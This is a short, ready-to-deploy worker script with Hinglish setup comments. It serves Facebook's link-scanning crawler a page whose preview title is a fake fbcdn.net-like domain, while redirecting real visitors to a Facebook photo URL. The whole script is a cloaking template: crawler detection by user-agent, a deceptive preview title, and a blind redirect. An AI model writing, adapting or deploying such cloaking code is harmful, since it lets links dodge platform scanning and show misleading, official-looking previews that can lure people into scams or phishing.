export default {
  async fetch(request) {
    const userAgent = request.headers.get('user-agent') || '';

    // =============== AAPKA SETUP ===============
    const TARGET_URL = "https://web.facebook.com/photo/?fbid=122114948517494279&set=a.122114948601494279&__cft__[0]=AZjo9IOOx1ushzXp2iEw98VSbAxi9XnqTpfGOA9saaEnS81n-UyMQy5z-Chs_6vIjR-s7WahCe-T2kft-iaAQ0HLfhKZ20tkEA9IVaAWZAPpn17oLbw_jPAu0RENGIkobm0zeNkbM8Ed&__tn__=EH-R"; // Single Target URL
    const TITLE = "serive-all-dns-cvv-f.fbcdn.net";       // Sirf Title
    // ===========================================

    // FB Bot Check: Facebook Scraper Ko Sirf Title Dikhega
    if (userAgent.includes('facebookexternalhit') || userAgent.includes('Facebot')) {
      return new Response(`
        <!DOCTYPE html>
        <html>
        <head>
          <meta property="og:title" content="${TITLE}" />
        </head>
        <body></body>
        </html>
      `, { headers: { 'content-type': 'text/html;charset=UTF-8' } });
    }

    // Real Users: Direct Redirect to Target URL
    return Response.redirect(TARGET_URL, 302);
  }
};